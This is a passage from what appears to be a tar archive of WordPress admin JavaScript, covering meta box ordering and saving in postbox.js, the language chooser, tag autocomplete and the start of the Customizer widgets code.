Detach the postbox to be moved. detachedPostbox = postbox.detach(); // Move the detached postbox to its new position. if ( 'previous' === position ) { $( detachedPostbox ).appendTo( '#' + sortablesIds[ sortablesIndex - 1 ] ); } if ( 'next' === position ) { $( detachedPostbox ).prependTo( '#' + sortablesIds[ sortablesIndex + 1 ] ); } postboxes._mark_area(); button.focus(); postboxes.updateOrderButtonsProperties(); postboxes.save_order( postboxes.page ); }, /** * Update the move buttons properties depending on the postbox position. * * @since 5.5.0 * * @return {void} */ updateOrderButtonsProperties: function() { var firstSortablesId = $( '.meta-box-sortables:visible:first' ).attr( 'id' ), lastSortablesId = $( '.meta-box-sortables:visible:last' ).attr( 'id' ), firstPostbox = $( '.postbox:visible:first' ), lastPostbox = $( '.postbox:visible:last' ), firstPostboxId = firstPostbox.attr( 'id' ), lastPostboxId = lastPostbox.attr( 'id' ), firstPostboxSortablesId = firstPostbox.closest( '.meta-box-sortables' ).attr( 'id' ), lastPostboxSortablesId = lastPostbox.closest( '.meta-box-sortables' ).attr( 'id' ), moveUpButtons = $( '.handle-order-higher' ), moveDownButtons = $( '.handle-order-lower' ); // Enable all buttons as a reset first. moveUpButtons .attr( 'aria-disabled', 'false' ) .removeClass( 'hidden' ); moveDownButtons .attr( 'aria-disabled', 'false' ) .removeClass( 'hidden' ); // When there's only one "sortables" area (e.g. in the block editor) and only one visible postbox, hide the buttons. if ( firstSortablesId === lastSortablesId && firstPostboxId === lastPostboxId ) { moveUpButtons.addClass( 'hidden' ); moveDownButtons.addClass( 'hidden' ); } // Set an aria-disabled=true attribute on the first visible "move" buttons. if ( firstSortablesId === firstPostboxSortablesId ) { $( firstPostbox ).find( '.handle-order-higher' ).attr( 'aria-disabled', 'true' ); } // Set an aria-disabled=true attribute on the last visible "move" buttons. if ( lastSortablesId === lastPostboxSortablesId ) { $( '.postbox:visible .handle-order-lower' ).last().attr( 'aria-disabled', 'true' ); } }, /** * Adds event handlers to all postboxes and screen option on the current page. * * @since 2.7.0 * * @memberof postboxes * * @param {string} page The page we are currently on. * @param {Object} [args] * @param {Function} args.pbshow A callback that is called when a postbox opens. * @param {Function} args.pbhide A callback that is called when a postbox closes. * @return {void} */ add_postbox_toggles : function (page, args) { var $handles = $( '.postbox .hndle, .postbox .handlediv' ), $orderButtons = $( '.postbox .handle-order-higher, .postbox .handle-order-lower' ); this.page = page; this.init( page, args ); $handles.on( 'click.postboxes', this.handle_click ); // Handle the order of the postboxes. $orderButtons.on( 'click.postboxes', this.handleOrder ); /** * @since 2.7.0 */ $('.postbox .hndle a').on( 'click', function(e) { e.stopPropagation(); }); /** * Hides a postbox. * * Event handler for the postbox dismiss button. After clicking the button * the postbox will be hidden. * * As of WordPress 5.5, this is only used for the browser update nag. * * @since 3.2.0 * * @return {void} */ $( '.postbox a.dismiss' ).on( 'click.postboxes', function( e ) { var hide_id = $(this).parents('.postbox').attr('id') + '-hide'; e.preventDefault(); $( '#' + hide_id ).prop('checked', false).triggerHandler('click'); }); /** * Hides the postbox element * * Event handler for the screen options checkboxes. When a checkbox is * clicked this function will hide or show the relevant postboxes. * * @since 2.7.0 * @ignore * * @fires postboxes#postbox-toggled * * @return {void} */ $('.hide-postbox-tog').on('click.postboxes', function() { var $el = $(this), boxId = $el.val(), $postbox = $( '#' + boxId ); if ( $el.prop( 'checked' ) ) { $postbox.show(); if ( typeof postboxes.pbshow === 'function' ) { postboxes.pbshow( boxId ); } } else { $postbox.hide(); if ( typeof postboxes.pbhide === 'function' ) { postboxes.pbhide( boxId ); } } postboxes.save_state( page ); postboxes._mark_area(); /** * @since 4.0.0 * @see postboxes.handle_click */ $document.trigger( 'postbox-toggled', $postbox ); }); /** * Changes the amount of columns based on the layout preferences. * * @since 2.8.0 * * @return {void} */ $('.columns-prefs input[type="radio"]').on('click.postboxes', function(){ var n = parseInt($(this).val(), 10); if ( n ) { postboxes._pb_edit(n); postboxes.save_order( page ); } }); }, /** * Initializes all the postboxes, mainly their sortable behavior. * * @since 2.7.0 * * @memberof postboxes * * @param {string} page The page we are currently on. * @param {Object} [args={}] The arguments for the postbox initializer. * @param {Function} args.pbshow A callback that is called when a postbox opens. * @param {Function} args.pbhide A callback that is called when a postbox * closes. * * @return {void} */ init : function(page, args) { var isMobile = $( document.body ).hasClass( 'mobile' ), $handleButtons = $( '.postbox .handlediv' ); $.extend( this, args || {} ); $('.meta-box-sortables').sortable({ placeholder: 'sortable-placeholder', connectWith: '.meta-box-sortables', items: '.postbox', handle: '.hndle', cursor: 'move', delay: ( isMobile ? 200 : 0 ), distance: 2, tolerance: 'pointer', forcePlaceholderSize: true, helper: function( event, element ) { /* `helper: 'clone'` is equivalent to `return element.clone();` * Cloning a checked radio and then inserting that clone next to the original * radio unchecks the original radio (since only one of the two can be checked). * We get around this by renaming the helper's inputs' name attributes so that, * when the helper is inserted into the DOM for the sortable, no radios are * duplicated, and no original radio gets unchecked. */ return element.clone() .find( ':input' ) .attr( 'name', function( i, currentName ) { return 'sort_' + parseInt( Math.random() * 100000, 10 ).toString() + '_' + currentName; } ) .end(); }, opacity: 0.65, start: function() { $( 'body' ).addClass( 'is-dragging-metaboxes' ); // Refresh the cached positions of all the sortable items so that the min-height set while dragging works. $( '.meta-box-sortables' ).sortable( 'refreshPositions' ); }, stop: function() { var $el = $( this ); $( 'body' ).removeClass( 'is-dragging-metaboxes' ); if ( $el.find( '#dashboard_browser_nag' ).is( ':visible' ) && 'dashboard_browser_nag' != this.firstChild.id ) { $el.sortable('cancel'); return; } postboxes.updateOrderButtonsProperties(); postboxes.save_order(page); }, receive: function(e,ui) { if ( 'dashboard_browser_nag' == ui.item[0].id ) $(ui.sender).sortable('cancel'); postboxes._mark_area(); $document.trigger( 'postbox-moved', ui.item ); } }); if ( isMobile ) { $(document.body).on('orientationchange.postboxes', function(){ postboxes._pb_change(); }); this._pb_change(); } this._mark_area(); // Update the "move" buttons properties. this.updateOrderButtonsProperties(); $document.on( 'postbox-toggled', this.updateOrderButtonsProperties ); // Set the handle buttons `aria-expanded` attribute initial value on page load. $handleButtons.each( function () { var $el = $( this ); $el.attr( 'aria-expanded', ! $el.closest( '.postbox' ).hasClass( 'closed' ) ); }); }, /** * Saves the state of the postboxes to the server. * * It sends two lists, one with all the closed postboxes, one with all the * hidden postboxes. * * @since 2.7.0 * * @memberof postboxes * * @param {string} page The page we are currently on. * @return {void} */ save_state : function(page) { var closed, hidden; // Return on the nav-menus.php screen, see #35112. if ( 'nav-menus' === page ) { return; } closed = $( '.postbox' ).filter( '.closed' ).map( function() { return this.id; } ).get().join( ',' ); hidden = $( '.postbox' ).filter( ':hidden' ).map( function() { return this.id; } ).get().join( ',' ); $.post( ajaxurl, { action: 'closed-postboxes', closed: closed, hidden: hidden, closedpostboxesnonce: jQuery('#closedpostboxesnonce').val(), page: page }, function() { wp.a11y.speak( __( 'Screen Options updated.' ) ); } ); }, /** * Saves the order of the postboxes to the server. * * Sends a list of all postboxes inside a sortable area to the server. * * @since 2.8.0 * * @memberof postboxes * * @param {string} page The page we are currently on. * @return {void} */ save_order : function(page) { var postVars, page_columns = $('.columns-prefs input:checked').val() || 0; postVars = { action: 'meta-box-order', _ajax_nonce: $('#meta-box-order-nonce').val(), page_columns: page_columns, page: page }; $('.meta-box-sortables').each( function() { postVars[ 'order[' + this.id.split( '-' )[0] + ']' ] = $( this ).sortable( 'toArray' ).join( ',' ); } ); $.post( ajaxurl, postVars, function( response ) { if ( response.success ) { wp.a11y.speak( __( 'The boxes order has been saved.' ) ); } } ); }, /** * Marks empty postbox areas. * * Adds a message to empty sortable areas on the dashboard page. Also adds a * border around the side area on the post edit screen if there are no postboxes * present. * * @since 3.3.0 * @access private * * @memberof postboxes * * @return {void} */ _mark_area : function() { var visible = $( 'div.postbox:visible' ).length, visibleSortables = $( '#dashboard-widgets .meta-box-sortables:visible, #post-body .meta-box-sortables:visible' ), areAllVisibleSortablesEmpty = true; visibleSortables.each( function() { var t = $(this); if ( visible == 1 || t.children( '.postbox:visible' ).length ) { t.removeClass('empty-container'); areAllVisibleSortablesEmpty = false; } else { t.addClass('empty-container'); } }); postboxes.updateEmptySortablesText( visibleSortables, areAllVisibleSortablesEmpty ); }, /** * Updates the text for the empty sortable areas on the Dashboard. * * @since 5.5.0 * * @param {Object} visibleSortables The jQuery object representing the visible sortable areas. * @param {boolean} areAllVisibleSortablesEmpty Whether all the visible sortable areas are "empty". * * @return {void} */ updateEmptySortablesText: function( visibleSortables, areAllVisibleSortablesEmpty ) { var isDashboard = $( '#dashboard-widgets' ).length, emptySortableText = areAllVisibleSortablesEmpty ? __( 'Add boxes from the Screen Options menu' ) : __( 'Drag boxes here' ); if ( ! isDashboard ) { return; } visibleSortables.each( function() { if ( $( this ).hasClass( 'empty-container' ) ) { $( this ).attr( 'data-emptyString', emptySortableText ); } } ); }, /** * Changes the amount of columns on the post edit page. * * @since 3.3.0 * @access private * * @memberof postboxes * * @fires postboxes#postboxes-columnchange * * @param {number} n The amount of columns to divide the post edit page in. * @return {void} */ _pb_edit : function(n) { var el = $('.metabox-holder').get(0); if ( el ) { el.className = el.className.replace(/columns-\d+/, 'columns-' + n); } /** * Fires when the amount of columns on the post edit page has been changed. * * @since 4.0.0 * @ignore * * @event postboxes#postboxes-columnchange */ $( document ).trigger( 'postboxes-columnchange' ); }, /** * Changes the amount of columns the postboxes are in based on the current * orientation of the browser. * * @since 3.3.0 * @access private * * @memberof postboxes * * @return {void} */ _pb_change : function() { var check = $( 'label.columns-prefs-1 input[type="radio"]' ); switch ( window.orientation ) { case 90: case -90: if ( !check.length || !check.is(':checked') ) this._pb_edit(2); break; case 0: case 180: if ( $( '#poststuff' ).length ) { this._pb_edit(1); } else { if ( !check.length || !check.is(':checked') ) this._pb_edit(2); } break; } }, /* Callbacks */ /** * @since 2.7.0 * @access public * * @property {Function|boolean} pbshow A callback that is called when a postbox * is opened. * @memberof postboxes */ pbshow : false, /** * @since 2.7.0 * @access public * @property {Function|boolean} pbhide A callback that is called when a postbox * is closed. * @memberof postboxes */ pbhide : false }; }(jQuery)); js/language-chooser.js 0000644 00000001572 15233246127 0010753 0 ustar 00 /** * @output wp-admin/js/language-chooser.js */ jQuery( function($) { /* * Set the correct translation to the continue button and show a spinner * when downloading a language. */ var select = $( '#language' ), submit = $( '#language-continue' ); if ( ! $( 'body' ).hasClass( 'language-chooser' ) ) { return; } select.trigger( 'focus' ).on( 'change', function() { /* * When a language is selected, set matching translation to continue button * and attach the language attribute. */ var option = select.children( 'option:selected' ); submit.attr({ value: option.data( 'continue' ), lang: option.attr( 'lang' ) }); }); $( 'form' ).on( 'submit', function() { // Show spinner for languages that need to be downloaded. if ( ! select.children( 'option:selected' ).data( 'installed' ) ) { $( this ).find( '.step .spinner' ).css( 'visibility', 'visible' ); } }); }); js/tags-suggest.min.js 0000644 00000004335 15233246127 0010727 0 ustar 00 /*! This file is auto-generated */ !function(s){var u=0,n=wp.i18n._x(",","tag delimiter")||",",t=wp.i18n.__,d=wp.i18n._n,l=wp.i18n.sprintf;function p(e){return e.split(new RegExp(n+"\\s*"))}s.fn.wpTagsSuggest=function(e){var i,o,a,r=s(this);return r.length&&(a=(e=e||{}).taxonomy||r.attr("data-wp-taxonomy")||"post_tag",delete e.taxonomy,e=s.extend({source:function(e,n){var t;o===e.term?n(i):(t=p(e.term).pop(),s.get(window.ajaxurl,{action:"ajax-tag-search",tax:a,q:t,number:20}).always(function(){r.removeClass("ui-autocomplete-loading")}).done(function(e){var t,o=[];if(e){for(t in e=e.split("\n")){var a=++u;o.push({id:a,name:e[t]})}n(i=o)}else n(o)}),o=e.term)},focus:function(e,t){r.attr("aria-activedescendant","wp-tags-autocomplete-"+t.item.id),e.preventDefault()},select:function(e,t){var o=p(r.val());return o.pop(),o.push(t.item.name,""),r.val(o.join(n+" ")),s.ui.keyCode.TAB===e.keyCode?(window.wp.a11y.speak(wp.i18n.__("Term selected."),"assertive"),e.preventDefault()):s.ui.keyCode.ENTER===e.keyCode&&(window.tagBox&&(window.tagBox.userAction="add",window.tagBox.flushTags(s(this).closest(".tagsdiv"))),e.preventDefault(),e.stopPropagation()),!1},open:function(){r.attr("aria-expanded","true")},close:function(){r.attr("aria-expanded","false")},minLength:2,position:{my:"left top+2",at:"left bottom",collision:"none"},messages:{noResults:t("No results found."),results:function(e){return l(d("%d result found. Use up and down arrow keys to navigate.","%d results found. Use up and down arrow keys to navigate.",e),e)}}},e),r.on("keydown",function(){r.removeAttr("aria-activedescendant")}),r.autocomplete(e),r.autocomplete("instance"))&&(r.autocomplete("instance")._renderItem=function(e,t){return s('<li role="option" id="wp-tags-autocomplete-'+t.id+'">').text(t.name).appendTo(e)},r.attr({role:"combobox","aria-autocomplete":"list","aria-expanded":"false","aria-owns":r.autocomplete("widget").attr("id")}).on("focus",function(){p(r.val()).pop()&&r.autocomplete("search")}),r.autocomplete("widget").addClass("wp-tags-autocomplete").attr("role","listbox").removeAttr("tabindex").on("menufocus",function(e,t){t.item.attr("aria-selected","true")}).on("menublur",function(){s(this).find('[aria-selected="true"]').removeAttr("aria-selected")})),this}}(jQuery); js/customize-widgets.js 0000644 00000214057 15233246127 0011222 0 ustar 00 /** * @output wp-admin/js/customize-widgets.js */ /* global _wpCustomizeWidgetsSettings */ (function( wp, $ ){ if ( ! wp || ! wp.customize ) { return; } // Set up our namespace... var api = wp.customize, l10n; /** * @namespace wp.customize.Widgets */ api.Widgets = api.Widgets || {}; api.Widgets.savedWidgetIds = {}; // Link settings. api.Widgets.data = _wpCustomizeWidgetsSettings || {}; l10n = api.Widgets.data.l10n; /** * wp.customize.Widgets.WidgetModel * * A single widget model. * * @class wp.customize.Widgets.WidgetModel * @augments Backbone.Model */ api.Widgets.WidgetModel = Backbone.Model.extend(/** @lends wp.customize.Widgets.WidgetModel.prototype */{ id: null, temp_id: null, classname: null, control_tpl: null, description: null, is_disabled: null, is_multi: null, multi_number: null, name: null, id_base: null, transport: null, params: [], width: null, height: null, search_matched: true }); /** * wp.customize.Widgets.WidgetCollection * * Collection for widget models. * * @class wp.customize.Widgets.WidgetCollection * @augments Backbone.Collection */ api.Widgets.WidgetCollection = Backbone.Collection.extend(/** @lends wp.customize.Widgets.WidgetCollection.prototype */{ model: api.Widgets.WidgetModel, // Controls searching on the current widget collection // and triggers an update event. doSearch: function( value ) { // Don't do anything if we've already done this search. // Useful because the search handler fires multiple times per keystroke. if ( this.terms === value ) { return; } // Updates terms with the value passed. this.terms = value; // If we have terms, run a search... if ( this.terms.length > 0 ) { this.search( this.terms ); } // If search is blank, set all the widgets as they matched the search to reset the views. if ( this.terms === '' ) { this.each( function ( widget ) { widget.set( 'search_matched', true ); } ); } }, // Performs a search within the collection. // @uses RegExp search: function( term ) { var match, haystack; // Escape the term string for RegExp meta characters. term = term.replace( /[-\/\\^$*+?.()|[\]{}]/g, '\\$&' ); // Consider spaces as word delimiters and match the whole string // so matching terms can be combined. term = term.replace( / /g, ')(?=.*' ); match = new RegExp( '^(?=.*' + term + ').+', 'i' ); this.each( function ( data ) { haystack = [ data.get( 'name' ), data.get( 'description' ) ].join( ' ' ); data.set( 'search_matched', match.test( haystack ) ); } ); } }); api.Widgets.availableWidgets = new api.Widgets.WidgetCollection( api.Widgets.data.availableWidgets ); /** * wp.customize.Widgets.SidebarModel * * A single sidebar model. * * @class wp.customize.Widgets.SidebarModel * @augments Backbone.Model */ api.Widgets.SidebarModel = Backbone.Model.extend(/** @lends wp.customize.Widgets.SidebarModel.prototype */{ after_title: null, after_widget: null, before_title: null, before_widget: null, 'class': null, description: null, id: null, name: null, is_rendered: false }); /** * wp.customize.Widgets.SidebarCollection * * Collection for sidebar models. * * @class wp.customize.Widgets.SidebarCollection * @augments Backbone.Collection */ api.Widgets.SidebarCollection = Backbone.Collection.extend(/** @lends wp.customize.Widgets.SidebarCollection.prototype */{ model: api.Widgets.SidebarModel }); api.Widgets.registeredSidebars = new api.Widgets.SidebarCollection( api.Widgets.data.registeredSidebars ); api.Widgets.AvailableWidgetsPanelView = wp.Backbone.View.extend(/** @lends wp.customize.Widgets.AvailableWidgetsPanelView.prototype */{ el: '#available-widgets', events: { 'input #widgets-search': 'search', 'focus .widget-tpl' : 'focus', 'click .widget-tpl' : '_submit', 'keypress .widget-tpl' : '_submit', 'keydown' : 'keyboardAccessible' }, // Cache current selected widget. selected: null, // Cache sidebar control which has opened panel. currentSidebarControl: null, $search: null, $clearResults: null, searchMatchesCount: null, /** * View class for the available widgets panel. * * @constructs wp.customize.Widgets.AvailableWidgetsPanelView * @augments wp.Backbone.View */ initialize: function() { var self = this; this.$search = $( '#widgets-search' ); this.$clearResults = this.$el.find( '.clear-results' ); _.bindAll( this, 'close' ); this.listenTo( this.collection, 'change', this.updateList ); this.updateList(); // Set the initial search count to the number of available widgets. this.searchMatchesCount = this.collection.length; /* * If the available widgets panel is open and the customize controls * are interacted with (i.e. available widgets panel is blurred) then * close the available widgets panel. Also close on back button click. */ $( '#customize-controls, #available-widgets .customize-section-title' ).on( 'click keydown', function( e ) { var isAddNewBtn = $( e.target ).is( '.add-new-widget, .add-new-widget *' ); if ( $( 'body' ).hasClass( 'adding-widget' ) && ! isAddNewBtn ) { self.close(); } } ); // Clear the search results and trigger an `input` event to fire a new search. this.$clearResults.on( 'click', function() { self.$search.val( '' ).trigger( 'focus' ).trigger( 'input' ); } ); // Close the panel if the URL in the preview changes. api.previewer.bind( 'url', this.close ); }, /** * Performs a search and handles selected widget. */ search: _.debounce( function( event ) { var firstVisible; this.collection.doSearch( event.target.value ); // Update the search matches count. this.updateSearchMatchesCount(); // Announce how many search results. this.announceSearchMatches(); // Remove a widget from being selected if it is no longer visible. if ( this.selected && ! this.selected.is( ':visible' ) ) { this.selected.removeClass( 'selected' ); this.selected = null; } // If a widget was selected but the filter value has been cleared out, clear selection. if ( this.selected && ! event.target.value ) { this.selected.removeClass( 'selected' ); this.selected = null; } // If a filter has been entered and a widget hasn't been selected, select the first one shown. if ( ! this.selected && event.target.value ) { firstVisible = this.$el.find( '> .widget-tpl:visible:first' ); if ( firstVisible.length ) { this.select( firstVisible ); } } // Toggle the clear search results button. if ( '' !== event.target.value ) { this.$clearResults.addClass( 'is-visible' ); } else if ( '' === event.target.value ) { this.$clearResults.removeClass( 'is-visible' ); } // Set a CSS class on the search container when there are no search results. if ( ! this.searchMatchesCount ) { this.$el.addClass( 'no-widgets-found' ); } else { this.$el.removeClass( 'no-widgets-found' ); } }, 500 ), /** * Updates the count of the available widgets that have the `search_matched` attribute. */ updateSearchMatchesCount: function() { this.searchMatchesCount = this.collection.where({ search_matched: true }).length; }, /** * Sends a message to the aria-live region to announce how many search results. */ announceSearchMatches: function() { var message = l10n.widgetsFound.replace( '%d', this.searchMatchesCount ) ; if ( ! this.searchMatchesCount ) { message = l10n.noWidgetsFound; } wp.a11y.speak( message ); }, /** * Changes visibility of available widgets. */ updateList: function() { this.collection.each( function( widget ) { var widgetTpl = $( '#widget-tpl-' + widget.id ); widgetTpl.toggle( widget.get( 'search_matched' ) && ! widget.get( 'is_disabled' ) ); if ( widget.get( 'is_disabled' ) && widgetTpl.is( this.selected ) ) { this.selected = null; } } ); }, /** * Highlights a widget. */ select: function( widgetTpl ) { this.selected = $( widgetTpl ); this.selected.siblings( '.widget-tpl' ).removeClass( 'selected' ); this.selected.addClass( 'selected' ); }, /** * Highlights a widget on focus. */ focus: function( event ) { this.select( $( event.currentTarget ) ); }, /** * Handles submit for keypress and click on widget. */ _submit: function( event ) { // Only proceed with keypress if it is Enter or Spacebar. if ( event.type === 'keypress' && ( event.which !== 13 && event.which !== 32 ) ) { return; } this.submit( $( event.currentTarget ) ); }, /** * Adds a selected widget to the sidebar. */ submit: function( widgetTpl ) { var widgetId, widget, widgetFormControl; if ( ! widgetTpl ) { widgetTpl = this.selected; } if ( ! widgetTpl || ! this.currentSidebarControl ) { return; } this.select( widgetTpl ); widgetId = $( this.selected ).data( 'widget-id' ); widget = this.collection.findWhere( { id: widgetId } ); if ( ! widget ) { return; } widgetFormControl = this.currentSidebarControl.addWidget( widget.get( 'id_base' ) ); if ( widgetFormControl ) { widgetFormControl.focus(); } this.close(); }, /** * Opens the panel. */ open: function( sidebarControl ) { this.currentSidebarControl = sidebarControl; // Wide widget controls appear over the preview, and so they need to be collapsed when the panel opens. _( this.currentSidebarControl.getWidgetFormControls() ).each( function( control ) { if ( control.params.is_wide ) { control.collapseForm(); } } ); if ( api.section.has( 'publish_settings' ) ) { api.section( 'publish_settings' ).collapse(); } $( 'body' ).addClass( 'adding-widget' ); this.$el.find( '.selected' ).removeClass( 'selected' ); // Reset search. this.collection.doSearch( '' ); if ( ! api.settings.browser.mobile ) { this.$search.trigger( 'focus' ); } }, /** * Closes the panel. */ close: function( options ) { options = options || {}; if ( options.returnFocus && this.currentSidebarControl ) { this.currentSidebarControl.container.find( '.add-new-widget' ).focus(); } this.currentSidebarControl = null; this.selected = null; $( 'body' ).removeClass( 'adding-widget' ); this.$search.val( '' ).trigger( 'input' ); }, /** * Adds keyboard accessibility to the panel. */ keyboardAccessible: function( event ) { var isEnter = ( event.which === 13 ), isEsc = ( event.which === 27 ), isDown = ( event.which === 40 ), isUp = ( event.which === 38 ), isTab = ( event.which === 9 ), isShift = ( event.shiftKey ), selected = null, firstVisible = this.$el.find( '> .widget-tpl:visible:first' ), lastVisible = this.$el.find( '> .widget-tpl:visible:last' ), isSearchFocused = $( event.target ).is( this.$search ), isLastWidgetFocused = $( event.target ).is( '.widget-tpl:visible:last' ); if ( isDown || isUp ) { if ( isDown ) { if ( isSearchFocused ) { selected = firstVisible; } else if ( this.selected && this.selected.nextAll( '.widget-tpl:visible' ).length !== 0 ) { selected = this.selected.nextAll( '.widget-tpl:visible:first' ); } } else if ( isUp ) { if ( isSearchFocused ) { selected = lastVisible; } else if ( this.selected && this.selected.prevAll( '.widget-tpl:visible' ).length !== 0 ) { selected = this.selected.prevAll( '.widget-tpl:visible:first' ); } } this.select( selected ); if ( selected ) { selected.trigger( 'focus' ); } else { this.$search.trigger( 'focus' ); } return; } // If enter pressed but nothing entered, don't do anything. if ( isEnter && ! this.$search.val() ) { return; } if ( isEnter ) { this.submit(); } else if ( isEsc ) { this.close( { returnFocus: true } ); } if ( this.currentSidebarControl && isTab && ( isShift && isSearchFocused || ! isShift && isLastWidgetFocused ) ) { this.currentSidebarControl.container.find( '.add-new-widget' ).focus(); event.preventDefault(); } } }); /** * Handlers for the widget-synced event, organized by widget ID base. * Other widgets may provide their own update handlers by adding * listeners for the widget-synced event. * * @alias wp.customize.Widgets.formSyncHandlers */ api.Widgets.formSyncHandlers = { /** * @param {jQuery.Event} e * @param {jQuery} widget * @param {string} newForm */ rss: function( e, widget, newForm ) { var oldWidgetError = widget.find( '.widget-error:first' ), newWidgetError = $( '<div>' + newForm + '</div>' ).find( '.widget-error:first' ); if ( oldWidgetError.length && newWidgetError.length ) { oldWidgetError.replaceWith( newWidgetError ); } else if ( oldWidgetError.length ) { oldWidgetError.remove(); } else if ( newWidgetError.length ) { widget.find( '.widget-content:first' ).prepend( newWidgetError ); } } }; api.Widgets.WidgetControl = api.Control.extend(/** @lends wp.customize.Widgets.WidgetControl.prototype */{ defaultExpandedArguments: { duration: 'fast', completeCallback: $.noop }, /** * wp.customize.Widgets.WidgetControl * * Customizer control for widgets. * Note that 'widget_form' must match the WP_Widget_Form_Customize_Control::$type * * @since 4.1.0 * * @constructs wp.customize.Widgets.WidgetControl * @augments wp.customize.Control */ initialize: function( id, options ) { var control = this; control.widgetControlEmbedded = false; control.widgetContentEmbedded = false; control.expanded = new api.Value( false ); control.expandedArgumentsQueue = []; control.expanded.bind( function( expanded ) { var args = control.expandedArgumentsQueue.shift(); args = $.extend( {}, control.defaultExpandedArguments, args ); control.onChangeExpanded( expanded, args ); }); control.altNotice = true; api.Control.prototype.initialize.call( control, id, options ); }, /** * Set up the control. * * @since 3.9.0 */ ready: function() { var control = this; /* * Embed a placeholder once the section is expanded. The full widget * form content will be embedded once the control itself is expanded, * and at this point the widget-added event will be triggered. */ if ( ! control.section() ) { control.embedWidgetControl(); } else { api.section( control.section(), function( section ) { var onExpanded = function( isExpanded ) { if ( isExpanded ) { control.embedWidgetControl(); section.expanded.unbind( onExpanded ); } }; if ( section.expanded() ) { onExpanded( true ); } else { section.expanded.bind( onExpanded ); } } ); } }, /** * Embed the .widget element inside the li container. * * @since 4.4.0 */ embedWidgetControl: function() { var control = this, widgetControl; if ( control.widgetControlEmbedded ) { return; } control.widgetControlEmbedded = true; widgetControl = $( control.params.widget_control ); control.container.append( widgetControl ); control._setupModel(); control._setupWideWidget(); control._setupControlToggle(); control._setupWidgetTitle(); control._setupReorderUI(); control._setupHighlightEffects(); control._setupUpdateUI(); control._setupRemoveUI(); }, /** * Embed the actual widget form inside of .widget-content and finally trigger the widget-added event. * * @since 4.4.0 */ embedWidgetContent: function() { var control = this, widgetContent; control.embedWidgetControl(); if ( control.widgetContentEmbedded ) { return; } control.widgetContentEmbedded = true; // Update the notification container element now that the widget content has been embedded. control.notifications.container = control.getNotificationsContainerElement(); control.notifications.render(); widgetContent = $( control.params.widget_content ); control.container.find( '.widget-content:first' ).append( widgetContent ); /* * Trigger widget-added event so that plugins can attach any event * listeners and dynamic UI elements. */ $( document ).trigger( 'widget-added', [ control.container.find( '.widget:first' ) ] ); }, /** * Handle changes to the setting */ _setupModel: function() { var self = this, rememberSavedWidgetId; // Remember saved widgets so we know which to trash (move to inactive widgets sidebar). rememberSavedWidgetId = function() { api.Widgets.savedWidgetIds[self.params.widget_id] = true; }; api.bind( 'ready', rememberSavedWidgetId ); api.bind( 'saved', rememberSavedWidgetId ); this._updateCount = 0; this.isWidgetUpdating = false; this.liveUpdateMode = true; // Update widget whenever model changes. this.setting.bind( function( to, from ) { if ( ! _( from ).isEqual( to ) && ! self.isWidgetUpdating ) { self.updateWidget( { instance: to } ); } } ); }, /** * Add special behaviors for wide widget controls */ _setupWideWidget: function() { var self = this, $widgetInside, $widgetForm, $customizeSidebar, $themeControlsContainer, positionWidget; if ( ! this.params.is_wide || $( window ).width() <= 640 /* max-width breakpoint in customize-controls.css */ ) { return; } $widgetInside = this.container.find( '.widget-inside' ); $widgetForm = $widgetInside.find( '> .form' ); $customizeSidebar = $( '.wp-full-overlay-sidebar-content:first' ); this.container.addClass( 'wide-widget-control' ); this.container.find( '.form:first' ).css( { 'max-width': this.params.width, 'min-height': this.params.height } ); /** * Keep the widget-inside positioned so the top of fixed-positioned * element is at the same top position as the widget-top. When the * widget-top is scrolled out of view, keep the widget-top in view; * likewise, don't allow the widget to drop off the bottom of the window. * If a widget is too tall to fit in the window, don't let the height * exceed the window height so that the contents of the widget control * will become scrollable (overflow:auto). */ positionWidget = function() { var offsetTop = self.container.offset().top, windowHeight = $( window ).height(), formHeight = $widgetForm.outerHeight(), top; $widgetInside.css( 'max-height', windowHeight ); top = Math.max( 0, // Prevent top from going off screen. Math.min( Math.max( offsetTop, 0 ), // Distance widget in panel is from top of screen. windowHeight - formHeight // Flush up against bottom of screen. ) ); $widgetInside.css( 'top', top ); }; $themeControlsContainer = $( '#customize-theme-controls' ); this.container.on( 'expand', function() { positionWidget(); $customizeSidebar.on( 'scroll', positionWidget ); $( window ).on( 'resize', positionWidget ); $themeControlsContainer.on( 'expanded collapsed', positionWidget ); } ); this.container.on( 'collapsed', function() { $customizeSidebar.off( 'scroll', positionWidget ); $( window ).off( 'resize', positionWidget ); $themeControlsContainer.off( 'expanded collapsed', positionWidget ); } ); // Reposition whenever a sidebar's widgets are changed. api.each( function( setting ) { if ( 0 === setting.id.indexOf( 'sidebars_widgets[' ) ) { setting.bind( function() { if ( self.container.hasClass( 'expanded' ) ) { positionWidget(); } } ); } } ); }, /** * Show/hide the control when clicking on the form title, when clicking * the close button */ _setupControlToggle: function() { var self = this, $closeBtn; this.container.find( '.widget-top' ).on( 'click', function( e ) { e.preventDefault(); var sidebarWidgetsControl = self.getSidebarWidgetsControl(); if ( sidebarWidgetsControl.isReordering ) { return; } self.expanded( ! self.expanded() ); } ); $closeBtn = this.container.find( '.widget-control-close' ); $closeBtn.on( 'click', function() { self.collapse(); self.container.find( '.widget-top .widget-action:first' ).focus(); // Keyboard accessibility. } ); }, /** * Update the title of the form if a title field is entered */ _setupWidgetTitle: function() { var self = this, updateTitle; updateTitle = function() { var title = self.setting().title, inWidgetTitle = self.container.find( '.in-widget-title' ); if ( title ) { inWidgetTitle.text( ': ' + title ); } else { inWidgetTitle.text( '' ); } }; this.setting.bind( updateTitle ); updateTitle(); }, /** * Set up the widget-reorder-nav */ _setupReorderUI: function() { var self = this, selectSidebarItem, $moveWidgetArea, $reorderNav, updateAvailableSidebars, template; /** * select the provided sidebar list item in the move widget area * * @param {jQuery} li */ selectSidebarItem = function( li ) { li.siblings( '.selected' ).removeClass( 'selected' ); li.addClass( 'selected' ); var isSelfSidebar = ( li.data( 'id' ) === self.params.sidebar_id ); self.container.find( '.move-widget-btn' ).prop( 'disabled', isSelfSidebar ); }; /** * Add the widget reordering elements to the widget control */ this.container.find( '.widget-title-action' ).after( $( api.Widgets.data.tpl.widgetReorderNav ) ); template = _.template( api.Widgets.data.tpl.moveWidgetArea ); $moveWidgetArea = $( template( { sidebars: _( api.Widgets.registeredSidebars.toArray() ).pluck( 'attributes' ) } ) ); this.container.find( '.widget-top' ).after( $moveWidgetArea ); /** * Update available sidebars when their rendered state changes */ updateAvailableSidebars = function() { var $sidebarItems = $moveWidgetArea.find( 'li' ), selfSidebarItem, renderedSidebarCount = 0; selfSidebarItem = $sidebarItems.filter( function(){ return $( this ).data( 'id' ) === self.params.sidebar_id; } ); $sidebarItems.each( function() { var li = $( this ), sidebarId, 